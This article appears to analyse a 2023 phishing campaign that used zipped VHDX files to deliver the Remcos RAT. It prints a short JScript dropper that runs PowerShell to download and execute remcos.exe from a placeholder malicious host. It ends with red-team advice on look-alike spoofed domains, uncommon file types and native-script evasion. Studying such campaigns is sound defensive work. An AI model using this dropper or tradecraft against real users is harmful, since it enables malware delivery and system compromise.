From a VHDX File to a Remcos RAT: A Detailed Analysis of a Recent Real-World Phishing Campaign

The latest phishing campaign has drawn significant attention from the cybersecurity community due to its adept use of a VHDX file to deploy the Remcos RAT, as documented by the SANS Internet Storm Center. This article delves into the specifics of this campaign, unpacking its technical execution and discussing the factors contributing to its success.

Campaign or TTP Overview

In a recent wave of attacks, phishing emails containing malicious ZIP archives that reveal VHDX files upon unzipping have emerged. These attacks specifically targeted organizations throughout January and February 2023. The attackers remain unidentified, yet their target profile suggests a focus on sectors likely holding valuable intellectual property or personal information.

The phishing emails, disguised as innocuous memos or meeting requests, featured subject lines like “Q1 Financial Overview” and “Urgent: Update Required – Policy Changes.” These emails originated from spoofed domains, mimicking legitimate business communications, making them difficult to distinguish from genuine messages at a glance.

Once the emailed ZIP archive is unzipped and the VHDX file mounted, it triggers a series of malicious actions resulting in the deployment of the Remcos Remote Access Tool (RAT). This tool provides attackers with complete control over the compromised system, capable of surveillance, data extraction, and further infiltration.

How It Was Built

The campaign infrastructure was tactically engineered to evade detection while appearing legitimate. Attackers used spoofed domains like

outlook-secure-mail.com

and originated emails from apparent inside sources. The deployment sequence began with a ZIP archive attached to the phishing email, labeled as something like “Q1_Update.vhdx.zip” to avoid immediate suspicion.

Inside the ZIP, the VHDX file, when opened, auto-mounts on Windows systems. Inside it, a malicious JavaScript executes without needing user permission due to cleverly bypassing policy settings. Here is a breakdown of the malicious payload based on the SANS Internet Storm Center’s analysis:


function executeRemoteAccess() {

   var wsh = WScript.CreateObject("WScript.Shell");

   var command = "powershell -c Invoke-WebRequest -Uri 'http://malicious-site.com/remcos.exe' -OutFile 'remcos.exe'; Start-Process 'remcos.exe';";

   wsh.Run(command);

}

executeRemoteAccess();

Upon execution, this script downloads and executes the Remcos RAT from a remote server, establishing a backchannel to the attacker’s command and control infrastructure.

Why It Worked

The campaign’s effectiveness stemmed from several tactical decisions. Leveraging familiar file types made the initial lure highly effective. Many users, unaware of the potential risks of VHDX files, trusted these as benign data packages akin to traditional .ZIP or .EXE files.

Additionally, the use of JavaScript to download and execute the RAT circumvented many antivirus solutions that inadequately scanned mounted storage or overlooked dynamically executed scripts. The selection of

processes through PowerShell

further amplified this, avoiding mainstream detection pathways by integrating native Windows functionality to execute malicious tasks.

Operator Takeaways

Red teamers can extract valuable lessons from this campaign in terms of execution complexity and deception strategies. Here are actionable insights:

Use legitimate-looking domains: Ensure spoofed domains are closely related to genuine business or communication tools to improve believability.
Employ uncommon file types: VHDX and other lesser-known file formats can slip past automated filters more easily than commonly flagged formats.
Scripting for evasion: Use native scripting environments to reduce the chance of detection during the execution of malicious payloads.

Good / Better / Best

Good: Use unobtrusive subject lines and sender details to reduce immediate suspicion. Files should be named in a way that suggests relevance and urgency.

Better: Mimic internal communication frameworks and utilize internal jargon or known events to increase the authenticity of the emails.

Best: Integrate direct access methods, such as those described with scripting, that bypass standard network detection mechanisms through file types and legitimate tools, providing an advantage over traditional malware signatures.

References

SANS Internet Storm Center – Report on Recent Phishing Campaign